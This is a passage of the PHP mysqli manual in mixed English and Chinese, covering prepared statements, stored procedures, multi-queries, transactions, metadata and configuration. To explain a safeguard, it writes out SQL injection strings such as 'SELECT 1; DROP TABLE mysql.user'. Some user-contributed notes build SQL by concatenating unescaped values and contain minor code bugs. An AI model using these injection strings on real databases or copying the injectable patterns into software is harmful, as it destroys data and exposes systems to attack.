  string(3) "PHP"
}

Escaping and SQL injection

Bound variables are sent to the server separately from the query and thus cannot interfere with it. The server uses these values directly at the point of execution, after the statement template is parsed. Bound parameters do not need to be escaped as they are never substituted into the query string directly. A hint must be provided to the server for the type of bound variable, to create an appropriate conversion. See the mysqli_stmt::bind_param() function for more information.

Such a separation sometimes considered as the only security feature to prevent SQL injection, but the same degree of security can be achieved with non-prepared statements, if all the values are formatted correctly. It should be noted that correct formatting is not the same as escaping and involves more logic than simple escaping. Thus, prepared statements are simply a more convenient and less error-prone approach to this element of database security.

Client-side prepared statement emulation

The API does not include emulation for client-side prepared statement emulation.

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli::prepare()
  • mysqli_stmt::prepare()
  • mysqli_stmt::execute()
  • mysqli_stmt::bind_param()
  • mysqli_stmt::bind_result()

User Contributed Notes

There are no user contributed notes for this page.


Stored Procedures

The MySQL database supports stored procedures. A stored procedure is a subroutine stored in the database catalog. Applications can call and execute the stored procedure. The CALL SQL statement is used to execute a stored procedure.

Parameter

Stored procedures can have IN, INOUT and OUT parameters, depending on the MySQL version. The mysqli interface has no special notion for the different kinds of parameters.

IN parameter

Input parameters are provided with the CALL statement. Please, make sure values are escaped correctly.

Example #1 Calling a stored procedure

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query("CREATE PROCEDURE p(IN id_val INT) BEGIN INSERT INTO test(id) VALUES(id_val); END;");

$mysqli->query("CALL p(1)");

$result = $mysqli->query("SELECT id FROM test");

var_dump($result->fetch_assoc());

以上示例会输出：

array(1) {
  ["id"]=>
  string(1) "1"
}

INOUT/OUT parameter

The values of INOUT/OUT parameters are accessed using session variables.

Example #2 Using session variables

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p(OUT msg VARCHAR(50)) BEGIN SELECT "Hi!" INTO msg; END;');

$mysqli->query("SET @msg = ''");
$mysqli->query("CALL p(@msg)");

$result = $mysqli->query("SELECT @msg as _p_out");

$row = $result->fetch_assoc();
echo $row['_p_out'];

以上示例会输出：

Hi!

Application and framework developers may be able to provide a more convenient API using a mix of session variables and databased catalog inspection. However, please note the possible performance impact of a custom solution based on catalog inspection.

Handling result sets

Stored procedures can return result sets. Result sets returned from a stored procedure cannot be fetched correctly using mysqli::query(). The mysqli::query() function combines statement execution and fetching the first result set into a buffered result set, if any. However, there are additional stored procedure result sets hidden from the user which cause mysqli::query() to fail returning the user expected result sets.

Result sets returned from a stored procedure are fetched using mysqli::real_query() or mysqli::multi_query(). Both functions allow fetching any number of result sets returned by a statement, such as CALL. Failing to fetch all result sets returned by a stored procedure causes an error.

Example #3 Fetching results from stored procedures

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');

$mysqli->multi_query("CALL p()");

do {
if ($result = $mysqli->store_result()) {
printf("---\n");
var_dump($result->fetch_all());
$result->free();
}
} while ($mysqli->next_result());

以上示例会输出：

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Use of prepared statements

No special handling is required when using the prepared statement interface for fetching results from the same stored procedure as above. The prepared statement and non-prepared statement interfaces are similar. Please note, that not every MYSQL server version may support preparing the CALL SQL statement.

Example #4 Stored Procedures and Prepared Statements

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');

$stmt = $mysqli->prepare("CALL p()");

$stmt->execute();

do {
if ($result = $stmt->get_result()) {
printf("---\n");
var_dump($result->fetch_all());
$result->free();
}
} while ($stmt->next_result());

以上示例会输出：

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    int(1)
  }
  [1]=>
  array(1) {
    [0]=>
    int(2)
  }
  [2]=>
  array(1) {
    [0]=>
    int(3)
  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    int(2)
  }
  [1]=>
  array(1) {
    [0]=>
    int(3)
  }
  [2]=>
  array(1) {
    [0]=>
    int(4)
  }
}

Of course, use of the bind API for fetching is supported as well.

Example #5 Stored Procedures and Prepared Statements using bind API

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');

$stmt = $mysqli->prepare("CALL p()");

$stmt->execute();

do {
if ($stmt->store_result()) {
$stmt->bind_result($id_out);
while ($stmt->fetch()) {
echo "id = $id_out\n";
}
}
} while ($stmt->next_result());

以上示例会输出：

id = 1
id = 2
id = 3
id = 2
id = 3
id = 4

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::next_result()
  • mysqli::more_results()

User Contributed Notes

Valverde 05-Jul-2019 08:16
<?php

// Store procedure call without params

$MyConnection = new mysqli ("DB_SERVER", "DB_USER", "DB_PASS", "DB_NAME");

mysqli_multi_query ($MyConnection, "CALL MyStoreProcedure") OR DIE (mysqli_error($MyConnection));

while (mysqli_more_results($MyConnection)) {

       if ($result = mysqli_store_result($MyConnection)) {

              while ($row = mysqli_fetch_assoc($result)) {

                     // i.e.: DBTableFieldName="userID"
                     echo "row = ".$row["DBTableFieldName"]."<br />";
                     ....

              }
              mysqli_free_result($result);
       }
       mysqli_next_result($conn);

}
?>
*******************************************************************
<?php

// Store procedure call using params

$MyConnection = new mysqli ("DB_SERVER", "DB_USER", "DB_PASS", "DB_NAME");

mysqli_query($MyConnection ,"SET @p0='".$MyParam1."'");
mysqli_query($MyConnection ,"SET @p1='".$MyParam2."'");
mysqli_multi_query ($MyConnection, "CALL MyStoreProcedure (@p0,@p1)") OR DIE (mysqli_error($MyConnection));

while (mysqli_more_results($MyConnection)) {

       if ($result = mysqli_store_result($MyConnection)) {

              while ($row = mysqli_fetch_assoc($result)) {

                     // i.e.: DBTableFieldName="userID"
                     echo "row = ".$row["DBTableFieldName"]."<br />";
                     ....

              }
              mysqli_free_result($result);
       }
       mysqli_next_result($conn);

}
?>
paulo dot reis dot rosa at gmail dot com 27-Nov-2016 09:39
<?php
    /**
    * Small function to facilitate call procedure with multiple arguments (supports in/inout/out)
    */
    $db = new mysqli('localhost', 'root', 'password', 'database');

    $lt_query = callProcedure(
        $db,
        "stored_procedure",
        array(
            "in_param1"    => "Value1",
            "in_param2"    => "Value2",
            "inout_param3" => "Value3",
            "out_param4"   => "",
            "out_param5"   => ""
        ));

    function callProcedure( $po_db, $pv_proc, $pt_args )
    {
        if (empty($pv_proc) || empty($pt_args))
        {
            return false;
        }
        $lv_call   = "CALL `$pv_proc`(";
        $lv_select = "SELECT";
        $lv_log = "";
        foreach($pt_args as $lv_key=>$lv_value)
        {
            $lv_query = "SET @_$lv_key = '$lv_value'";
            $lv_log .= $lv_query.";\n";
            if (!$lv_result = $po_db->query($lv_query))
            {
                /* Write log */
                return false;
            }
            $lv_call   .= " @_$lv_key,";
            $lv_select .= " @_$lv_key AS $lv_key,";
        }
        $lv_call   = substr($lv_call, 0, -1).")";
        $lv_select = substr($lv_select, 0, -1);
        $lv_log .= $lv_call;
        if ($lv_result = $po_db->query($lv_call))
        {
            if($lo_result = $po_db->query($lv_select))
            {
                $lt_result = $lo_result->fetch_assoc();
                $lo_result->free();
                return $lt_result;
            }
            /* Write log */
            return false;
        }
        /* Write log */
        return false;
    }

    /**
    * This will return an array like this:
    *
    * $lt_query = array(
    *     'in_param1'   = 'Value1', // Same value as in call
    *     'in_param2'   = 'Value2', // Same value as in call
    *     'inout_param3' = ?,       // Value is changed accordingly
    *     'out_param4'   = ?,       // Value is changed accordingly
    *     'out_param5'   = ?        // Value is changed accordingly
    * )
    */
?>


Multiple Statements

MySQL optionally allows having multiple statements in one statement string, but it requires special handling.

Multiple statements or multi queries must be executed with mysqli::multi_query(). The individual statements of the statement string are separated by semicolon. Then, all result sets returned by the executed statements must be fetched.

The MySQL server allows having statements that do return result sets and statements that do not return result sets in one multiple statement.

Example #1 Multiple Statements

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

$sql = "SELECT COUNT(*) AS _num FROM test;
INSERT INTO test(id) VALUES (1);
SELECT COUNT(*) AS _num FROM test; ";

$mysqli->multi_query($sql);

do {
if ($result = $mysqli->store_result()) {
var_dump($result->fetch_all(MYSQLI_ASSOC));
$result->free();
}
} while ($mysqli->next_result());

以上示例会输出：

array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "0"
  }
}
array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "1"
  }
}

Security considerations

The API functions mysqli::query() and mysqli::real_query() do not set a connection flag necessary for activating multi queries in the server. An extra API call is used for multiple statements to reduce the damage of accidental SQL injection attacks. An attacker may try to add statements such as ; DROP DATABASE mysql or ; SELECT SLEEP(999). If the attacker succeeds in adding SQL to the statement string but mysqli::multi_query() is not used, the server will not execute the injected and malicious SQL statement.

Example #2 SQL Injection

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 1; DROP TABLE mysql.user");
?>

以上示例会输出：

PHP Fatal error:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to
use near 'DROP TABLE mysql.user' at line 1

Prepared statements

Use of the multiple statement with prepared statements is not supported.

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::next_result()
  • mysqli::more_results()

User Contributed Notes

velthuijsen 03-Jul-2018 07:58
Suggested improvement(s) to example 1.

reasons:
Multi_query only returns a non false response if a data/result set is returned and only checks for the first query entered. Switching the first SELECT query with the INSERT query will result in a premature exit of the example with the message "Multi query failed: (0)".
The example assumes that once the first query doesn't fail that the other queries have succeeded as well. Or rather it just exits without reporting that one of the queries after the first query failed seeing that if a query fails next_result returns false.

The changes in the example comes after the creation of the string $sql.

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$sql = "SELECT COUNT(*) AS _num FROM test; ";
$sql.= "INSERT INTO test(id) VALUES (1); ";
$sql.= "SELECT COUNT(*) AS _num FROM test; ";

// changes to example 1 start here

// don't bother checking the result from multi_query since it will return false
// if the first query does not return data even if the query itself succeeds.
$mysqli->multi_query($sql);

do // while (true); // exit only on error or when there are no more queries to process
{
    // check if query currently being processed hasn't failed
    if (0 !== $mysqli->errno)
    {
        echo "Multi query failed: (" . $mysqli->errno . ") " . $mysqli->error;
        break;
    }

    // store and possibly process result of the query,
    // both store_result & use_result will return false
    // for queries that do not return results (INSERT for example)
    if(false !== ($res = $mysqli->store_result() )
    {
        var_dump($res->fetch_all(MYSQLI_ASSOC));
            $res->free();
    }

    // exit loop if there ar no more queries to process
    if (false === ($mysqli->more_results() )
    {
        break;
    }

    // get result of the next query to process
    // don't bother to check for success/failure of the result
    // since at the start of the loop there is an error check &
    // report block.
    $mysqli->next_result()

} while (true); // exit only on error or when there are no more queries to process
?>

Note that the normal while ($mysqli->more_results() && $mysqli->next_result() has been replaced by two checks and  while (true);
This is due to the 'problem' that next_result will return false if the query in question failed.
So one either needs to do one last check after the while loop to check if there was an error or one has to split up the different actions.
The changes in the example do the splitting.


API support for transactions

The MySQL server supports transactions depending on the storage engine used. Since MySQL 5.5, the default storage engine is InnoDB. InnoDB has full ACID transaction support.

Transactions can either be controlled using SQL or API calls. It is recommended to use API calls for enabling and disabling the autocommit mode and for committing and rolling back transactions.

Example #1 Setting autocommit mode with SQL and through the API

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Recommended: using API to control transactional settings */
$mysqli->autocommit(false);

/* Won't be monitored and recognized by the replication and the load balancing plugin */
$mysqli->query('SET AUTOCOMMIT = 0');

Optional feature packages, such as the replication and load balancing plugin, can easily monitor API calls. The replication plugin offers transaction aware load balancing, if transactions are controlled with API calls. Transaction aware load balancing is not available if SQL statements are used for setting autocommit mode, committing or rolling back a transaction.

Example #2 Commit and rollback

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");
$mysqli->autocommit(false);

$mysqli->query("INSERT INTO test(id) VALUES (1)");
$mysqli->rollback();

$mysqli->query("INSERT INTO test(id) VALUES (2)");
$mysqli->commit();

Please note, that the MySQL server cannot roll back all statements. Some statements cause an implicit commit.

See also

  • mysqli::autocommit()
  • mysqli::begin_transaction()
  • mysqli::commit()
  • mysqli::rollback()

User Contributed Notes

There are no user contributed notes for this page.


Metadata

A MySQL result set contains metadata. The metadata describes the columns found in the result set. All metadata sent by MySQL is accessible through the mysqli interface. The extension performs no or negligible changes to the information it receives. Differences between MySQL server versions are not aligned.

Meta data is access through the mysqli_result interface.

Example #1 Accessing result set meta data

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$result = $mysqli->query("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
var_dump($result->fetch_fields());

以上示例会输出：

array(2) {
  [0]=>
  object(stdClass)#3 (13) {
    ["name"]=>
    string(4) "_one"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(1)
    ["length"]=>
    int(1)
    ["charsetnr"]=>
    int(63)
    ["flags"]=>
    int(32897)
    ["type"]=>
    int(8)
    ["decimals"]=>
    int(0)
  }
  [1]=>
  object(stdClass)#4 (13) {
    ["name"]=>
    string(4) "_two"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(5)
    ["length"]=>
    int(5)
    ["charsetnr"]=>
    int(8)
    ["flags"]=>
    int(1)
    ["type"]=>
    int(253)
    ["decimals"]=>
    int(31)
  }
}

Prepared statements

Meta data of result sets created using prepared statements are accessed the same way. A suitable mysqli_result handle is returned by mysqli_stmt::result_metadata().

Example #2 Prepared statements metadata

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$stmt = $mysqli->prepare("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
$stmt->execute();
$result = $stmt->result_metadata();
var_dump($result->fetch_fields());

See also

  • mysqli::query()
  • mysqli_result::fetch_fields()

User Contributed Notes

There are no user contributed notes for this page.


需求

要使用 mysqli 相关的函数， 你必须以启用 mysqli 扩展的方式编译 PHP。

MySQL 8

使用 PHP 7.1.16 之前的版本或者 PHP 7.2（PHP 7.2.4 之前的版本）， 需要将 MySQL 服务器的默认密码插件设置为：mysql_native_password。 否则，当你连接的时候就会看到类似这样的错误： The server requested authentication method unknown to the client [caching_sha2_password]。 即使你未使用 caching_sha2_password 也会这样。

发生这种错误的原因是，MySQL 8 服务器默认会使用 caching_sha2_password 扩展， 老版本的 PHP 驱动（mysqlnd）无法识别这个扩展。 所以需要在 MySQL 的配置文件 my.cnf 中，设置 default_authentication_plugin=mysql_native_password。 在后续的 PHP 发行版本中，会提供对 MySQL caching_sha2_password 扩展的支持。 目前只有 mysql_xdevapi 扩展是 支持 MySQL 的 caching_sha2_password 扩展的。

User Contributed Notes

There are no user contributed notes for this page.


安装

在 PHP 5.0.0 中引入 mysqli 扩展。PHP 5.3.0 版本中引入 Mysql Native Driver。

在 Linux 上安装

常见的 Unix 发行版中包含可以安装的 PHP 的二进制版本。虽然这些二进制版本通常是在支持 MySQL 扩展的情况下编译的，但扩展库自身可能需要使用额外的包进行安装。因此需要检查选择的发行版附带包管理的可用性。

例如，在 Ubuntu 上，php5-mysql 包安装了 ext/mysql、ext/mysqli 和 pdo_mysql 三个 PHP 扩展。在 CentOS 上，php-mysql 包也安装了这三个 PHP 扩展。

或者，可以编译扩展本身。从源代码编译 PHP 允许指定要使用的 MySQL 扩展，以及为每个扩展选择客户端库。

Mysql Native Driver 是推荐的客户端库选项，可以提升性能并带来一些 MySQL Client Library 不支持访问的特性。参阅什么是 PHP 的 MySQL Native Driver？中对简要概述 Mysql Native Driver 的优势。

/path/to/mysql_config 表示 MySQL Server 自带的 mysql_config 程序的位置。

mysqli 编译时支持模型
PHP 版本 | 默认 | 配置选项: mysqlnd | 配置选项: libmysqlclient | 更新日志
5.4.x 及以上 | mysqlnd | --with-mysqli | --with-mysqli=/path/to/mysql_config | 默认是 mysqlnd
5.3.x | libmysqlclient | --with-mysqli=mysqlnd | --with-mysqli=/path/to/mysql_config | 支持 mysqlnd
5.0.x, 5.1.x, 5.2.x | libmysqlclient | 不适用 | --with-mysqli=/path/to/mysql_config | 不支持 mysqlnd

请注意 MySQL 扩展和客户端库可以自由混合。比如，可以启用 MySQL 扩展使用 MySQL Client Library（libmysqlclient），同时配置 mysqli 扩展去使用 Mysql Native Driver。然而，扩展和客户端库的所有顺序都有可能。

在 Windows 系统上安装

在 Windows 上，必须在 php.ini 中启用 php_mysqli.dll DLL。

与启用任一 PHP 扩展（比如 php_mysqli.dll）一样，PHP 指令 extension_dir 应设置为 PHP 扩展所在目录。查看 Windows 手动安装说明。extension_dir 的示例值是 c:\php\ext。

Note:

如果启动 Web 服务器的时候发生了类似下面这样的错误："Unable to load dynamic library './php_mysqli.dll'"，这是因为系统找不到 php_mysqli.dll。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

MySQLi配置选项
名字 | 默认 | 可修改范围 | 更新日志
mysqli.allow_local_infile | "0" | PHP_INI_SYSTEM | 在 PHP 7.2.16 和 7.3.3 之前，默认值为 "1"
mysqli.local_infile_directory |  | PHP_INI_SYSTEM | 自 PHP 8.1.0 起可用。
mysqli.allow_persistent | "1" | PHP_INI_SYSTEM |
mysqli.max_persistent | "-1" | PHP_INI_SYSTEM |
mysqli.max_links | "-1" | PHP_INI_SYSTEM |
mysqli.default_port | "3306" | PHP_INI_ALL |
mysqli.default_socket | NULL | PHP_INI_ALL |
mysqli.default_host | NULL | PHP_INI_ALL |
mysqli.default_user | NULL | PHP_INI_ALL | 自PHP 5.0.0起可用。
mysqli.default_pw | NULL | PHP_INI_ALL |
mysqli.reconnect | "0" | PHP_INI_SYSTEM | 自 PHP 8.2.0 起移除
mysqli.rollback_on_cached_plink | "0" | PHP_INI_SYSTEM |

关于前面出现的PHP_INI_*系列常量的详细定义，请参阅配置的修改一章。

这是配置指令的简短说明。

mysqli.allow_local_infile int

允许Mysql的Load Data语句访问PHP角度看的本地文件。

mysqli.local_infile_directory string

限制加载 LOCAL DATA 文件为指定的目录。

mysqli.allow_persistent int

开启使用mysqli_connect()函数创建持久化连接的能力。

mysqli.max_persistent int

可以创建的持久化连接的最大数量，设置为0表明不限制。

mysqli.max_links int

每个进程中Mysql连接的最大数量。

mysqli.default_port int

当没有指定其他端口号时使用的默认的用于连接数据库服务器的TCP端口号。如果没有设置默认值， 端口号将会按照顺序从环境变量MYSQL_TCP_PORT，/etc/services 文件中的mysql-tcp条目或编译期的MYSQL_PORT常量等位置获取。 Win32仅使用MYSQL_PORT常量。

mysqli.default_socket string

当连接到本地数据库服务器时如果没有指定其他socket名称，使用的默认socket名称。

mysqli.default_host string

当连接到数据库服务器时， 如果没有指定其他主机地址，使用的默认服务器主机。

mysqli.default_user string

当连接到数据库服务器时，如果没有指定其他用户名，使用的默认用户名。

mysqli.default_pw string

当连接到数据库服务器时，如果没有指定其他密码，使用的默认密码。

mysqli.reconnect int

连接丢失时是否自动重新连接。

Note: mysqlnd 驱动已此忽略此 php.ini 设置，并于 PHP 8.2.0 起移除。

mysqli.rollback_on_cached_plink bool

If this option is enabled, closing a persistent connection will rollback any pending transactions of this connection before it is put back into the persistent connection pool. Otherwise, pending transactions will be rolled back only when the connection is reused, or when it is actually closed.

用户不能通过API调用或运行时配置来设置MYSQL_OPT_READ_TIMEOUT。 注意，如果可能这样做那么libmysqlclient和流对MYSQL_OPT_READ_TIMEOUT 的值将会有不同的解释。

User Contributed Notes

User 09-Mar-2022 01:16
About "mysqli.max_persistent int".
The documentation says "Set to 0 for unlimited".
Shouldn't the value be set to -1 for unlimited?


mysqli 扩展和持久化连接

持久化连接的目的在于重用客户端到服务器之间的连接， 而不是每次在需要的时候都重新建立一个连接。 由于持久化连接可以将已经建立的连接缓存起来，以备后续的使用， 所以省去了建立新的连接的开销， 因此可以带来性能上的提升。

不像 mysql 扩展，mysqli 没有提供一个特殊的方法用于打开持久化连接。 需要打开一个持久化连接时，你必须在 连接时在主机名前增加p:。

使用持久化连接也会存在一些风险， 因为在缓存中的连接可能处于一种不可预测的状态。 例如，如果客户端未能正常关闭连接， 可能在这个连接上残留了对库表的锁， 那么当这个连接被其他请求重用的时候，这个连接还是处于 有锁的状态。 所以，如果要很好的使用持久化连接，那么要求代码在和数据库进行交互的时候， 确保做好清理工作，保证被缓存的连接是一个干净的，没有残留的状态。

mysqli 扩展的持久化连接提供了内建的清理处理代码。 mysqli 所做的清理工作包括：

  • 回滚处于活动状态的事务

  • 关闭并且删除临时表

  • 对表解锁

  • 重置会话变量

  • 关闭预编译 SQL 语句（在PHP中经常发生）

  • 关闭处理程序

  • 释放通过 GET_LOCK() 获得的锁

这确保了将连接返回到连接池的时候， 它处于一种"干净"的状态，可以被其他客户端进程所使用。

mysqli 扩展 通过自动调用 C-API 函数 mysql_change_user() 来完成这个清理工作。

自动清理的特性有优点也有缺点。 优点是程序员不再需要担心附加的清理代码， 因为它们会自动调用。 然而缺点就是 性能 可能会 慢一点， 因为每次从连接池返回一个连接都需要执行这些清理代码。

这个自动清理的代码可以通过在编译 php 时定义 MYSQLI_NO_CHANGE_USER_ON_PCONNECT 来关闭。

Note:

mysqli 扩展在使用 MySQL Native Driver 或 Mysql Client Library（libmysql）时都支持持久化连接。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

MYSQLI_READ_DEFAULT_GROUP (int)

Read options from the named group from my.cnf or the file specified with MYSQLI_READ_DEFAULT_FILE

MYSQLI_READ_DEFAULT_FILE (int)

Read options from the named option file instead of from my.cnf

MYSQLI_OPT_CONNECT_TIMEOUT (int)

Connect timeout in seconds

MYSQLI_OPT_READ_TIMEOUT (int)

Command execution result timeout in seconds. Available as of PHP 7.2.0.

MYSQLI_OPT_LOCAL_INFILE (int)

Enables command LOAD LOCAL INFILE

MYSQLI_OPT_INT_AND_FLOAT_NATIVE (int)

Convert integer and float columns back to PHP numbers. Only valid for mysqlnd.

MYSQLI_OPT_NET_CMD_BUFFER_SIZE (int)

The size of the internal command/network buffer. Only valid for mysqlnd.

MYSQLI_OPT_NET_READ_BUFFER_SIZE (int)

Maximum read chunk size in bytes when reading the body of a MySQL command packet. Only valid for mysqlnd.

MYSQLI_OPT_SSL_VERIFY_SERVER_CERT (int)

需要 MySQL 5.1.10 及更高版本

MYSQLI_INIT_COMMAND (int)

Command to execute when connecting to MySQL server. Will automatically be re-executed when reconnecting.

MYSQLI_CLIENT_SSL (int)

Use SSL (encrypted protocol). This option should not be set by application programs; it is set internally in the MySQL client library

MYSQLI_CLIENT_COMPRESS (int)

Use compression protocol

MYSQLI_CLIENT_INTERACTIVE (int)

Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection. The client's session wait_timeout variable will be set to the value of the session interactive_timeout variable.

MYSQLI_CLIENT_IGNORE_SPACE (int)

Allow spaces after function names. Makes all functions names reserved words.

MYSQLI_CLIENT_NO_SCHEMA (int)

Don't allow the db_name.tbl_name.col_name syntax.

MYSQLI_CLIENT_MULTI_QUERIES (int)

Allows multiple semicolon-delimited queries in a single mysqli_query() call.

MYSQLI_STORE_RESULT (int)

使用缓冲的结果集合。值为 0。

MYSQLI_USE_RESULT (int)

使用无缓冲的结果集合。值为 1。

MYSQLI_ASSOC (int)

Columns are returned into the array having the fieldname as the array index.

MYSQLI_NUM (int)

Columns are returned into the array having an enumerated index.

MYSQLI_BOTH (int)

Columns are returned into the array having both a numerical index and the fieldname as the associative index.

MYSQLI_NOT_NULL_FLAG (int)

Indicates that a field is defined as NOT NULL

MYSQLI_PRI_KEY_FLAG (int)

Field is part of a primary index

MYSQLI_UNIQUE_KEY_FLAG (int)

Field is part of a unique index.

MYSQLI_MULTIPLE_KEY_FLAG (int)

Field is part of an index.

MYSQLI_BLOB_FLAG (int)

Field is defined as BLOB

MYSQLI_UNSIGNED_FLAG (int)

Field is defined as UNSIGNED

MYSQLI_ZEROFILL_FLAG (int)

Field is defined as ZEROFILL

MYSQLI_AUTO_INCREMENT_FLAG (int)

Field is defined as AUTO_INCREMENT

MYSQLI_TIMESTAMP_FLAG (int)

Field is defined as TIMESTAMP

MYSQLI_SET_FLAG (int)

Field is defined as SET

MYSQLI_NUM_FLAG (int)

Field is defined as NUMERIC

MYSQLI_PART_KEY_FLAG (int)

Field is part of an multi-index

MYSQLI_GROUP_FLAG (int)

Field is part of GROUP BY

MYSQLI_TYPE_DECIMAL (int)

Field is defined as DECIMAL

MYSQLI_TYPE_NEWDECIMAL (int)

Precision math DECIMAL or NUMERIC field (MySQL 5.0.3 and up)

MYSQLI_TYPE_BIT (int)

Field is defined as BIT (MySQL 5.0.3 and up)

MYSQLI_TYPE_TINY (int)

Field is defined as TINYINT

MYSQLI_TYPE_SHORT (int)

Field is defined as SMALLINT

MYSQLI_TYPE_LONG (int)

Field is defined as INT

MYSQLI_TYPE_FLOAT (int)

Field is defined as FLOAT

MYSQLI_TYPE_DOUBLE (int)

Field is defined as DOUBLE

MYSQLI_TYPE_NULL (int)

Field is defined as DEFAULT NULL

MYSQLI_TYPE_TIMESTAMP (int)

Field is defined as TIMESTAMP

MYSQLI_TYPE_LONGLONG (int)

Field is defined as BIGINT

MYSQLI_TYPE_INT24 (int)

Field is defined as MEDIUMINT

MYSQLI_TYPE_DATE (int)

Field is defined as DATE

MYSQLI_TYPE_TIME (int)

Field is defined as TIME

MYSQLI_TYPE_DATETIME (int)

Field is defined as DATETIME

MYSQLI_TYPE_YEAR (int)

Field is defined as YEAR

MYSQLI_TYPE_NEWDATE (int)

Field is defined as DATE

MYSQLI_TYPE_INTERVAL (int)

Field is defined as INTERVAL

MYSQLI_TYPE_ENUM (int)

Field is defined as ENUM

MYSQLI_TYPE_SET (int)

Field is defined as SET

MYSQLI_TYPE_TINY_BLOB (int)

Field is defined as TINYBLOB

MYSQLI_TYPE_MEDIUM_BLOB (int)

Field is defined as MEDIUMBLOB

MYSQLI_TYPE_LONG_BLOB (int)

Field is defined as LONGBLOB

MYSQLI_TYPE_BLOB (int)

Field is defined as BLOB

MYSQLI_TYPE_VAR_STRING (int)

Field is defined as VARCHAR

MYSQLI_TYPE_STRING (int)

字段定义为 CHAR 或 BINARY

MYSQLI_TYPE_CHAR (int)

字段定义为 TINYINT。对于 CHAR，参阅 MYSQLI_TYPE_STRING

MYSQLI_TYPE_GEOMETRY (int)

Field is defined as GEOMETRY

MYSQLI_TYPE_JSON (int)

字段定义为 JSON。仅对 mysqlnd 和 MySQL 5.7.8 及更高版本有效。

MYSQLI_NEED_DATA (int)

More data available for bind variable

MYSQLI_NO_DATA (int)

No more data available for bind variable

MYSQLI_DATA_TRUNCATED (int)

